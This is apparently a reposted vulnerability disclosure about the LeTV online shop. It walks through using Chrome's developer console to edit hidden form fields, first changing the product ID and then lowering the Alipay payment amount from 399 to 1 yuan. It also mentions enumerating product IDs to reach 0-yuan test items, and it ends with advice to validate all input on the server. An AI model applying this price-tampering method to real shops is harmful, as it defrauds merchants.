来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 求给我个盒子玩玩~~~http://hd.letv.com/ 添加商品到购物车时没有进行严格的检查,导致用户可以直接向购物车中添加商品,无视预约时间限制。并且部分测试产品没有及时下线,可以买...
求给我个盒子玩玩~~~
http://hd.letv.com/ 添加商品到购物车时没有进行严格的检查,导致用户可以直接向购物车中添加商品,无视预约时间限制。并且部分测试产品没有及时下线,可以买到0元产品。同时在订单向支付宝提交的时候没有进行审查,可以任意篡改提交到支付宝的金额数据。
求给我个盒子玩玩~~~
在商品购买页面,提交的商品ID没有进行后台验证,可以通过很多方式(如Chrome开发者控制台)来对提交的数据进行修改,然后强制向购物车中添加商品。
同时,在订单付款的时候,传送的数据也没有进行后台验证,所以可以制造1元订单。貌似用支付宝支付的时候最低可以是0.01元订单。
首先打开T1的购买页面:
http://hd.letv.com/index.php/product-1.html
打开Chrome控制台
修改红框中的
<input type="hidden" id="goods_id" name="goods[goods_id]" value="1" />
改为
<input type="hidden" id="goods_id" name="goods[goods_id]" value="2" />
然后立即购买,即可在购物车中看到:
之后就去输入信息付款了。
然后在付款的时候不要立即付款,进入会员中心,查看我的订单,打开我们刚刚下的订单:
找到下面这一段:
<div class="member_cont clearfix mt10">
<form id="f_order_pay" target="_blank" action="/index.php/paycenter-dopayment-order.html" method="post">
<input type="hidden" name="payment[order_id]" value="201301161504392360" />
<input type="hidden" name="payment[money]" value="399.00" id="hidden_money"/>
<input type="hidden" name="payment[currency]" value="CNY" />
<input type="hidden" name="payment[cur_money]" value="399.00" id="hidden_cur_money"/>
<input type="hidden" name="payment[cur_rate]" value="1.0000" />
<input type="hidden" name="payment[cur_def]" value="¥" />
<input type="hidden" name="payment[pay_app_id]" value="alipay" />
<input type="hidden" name="payment[cost_payment]" value="0.000" />
<input type="hidden" name="payment[cur_amount]" value="399.00" />
<input type="hidden" name="payment[memo]" value="" />
修改其中的399,全部修改为1,点击立即支付:
只需1元就可提前购买盒子啦~~~
附送:
http://hd.letv.com/index.php/product-1.html
这个页面的product后面的ID可以随意修改,可以发现很多测试物品,包括某些0元物品哦~~~
修复方案:
不要相信任何用户的输入,所有的参数都要进行后台验证。
当然后台人工审核订单也是可以的。不过最好还是改一下吧~
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com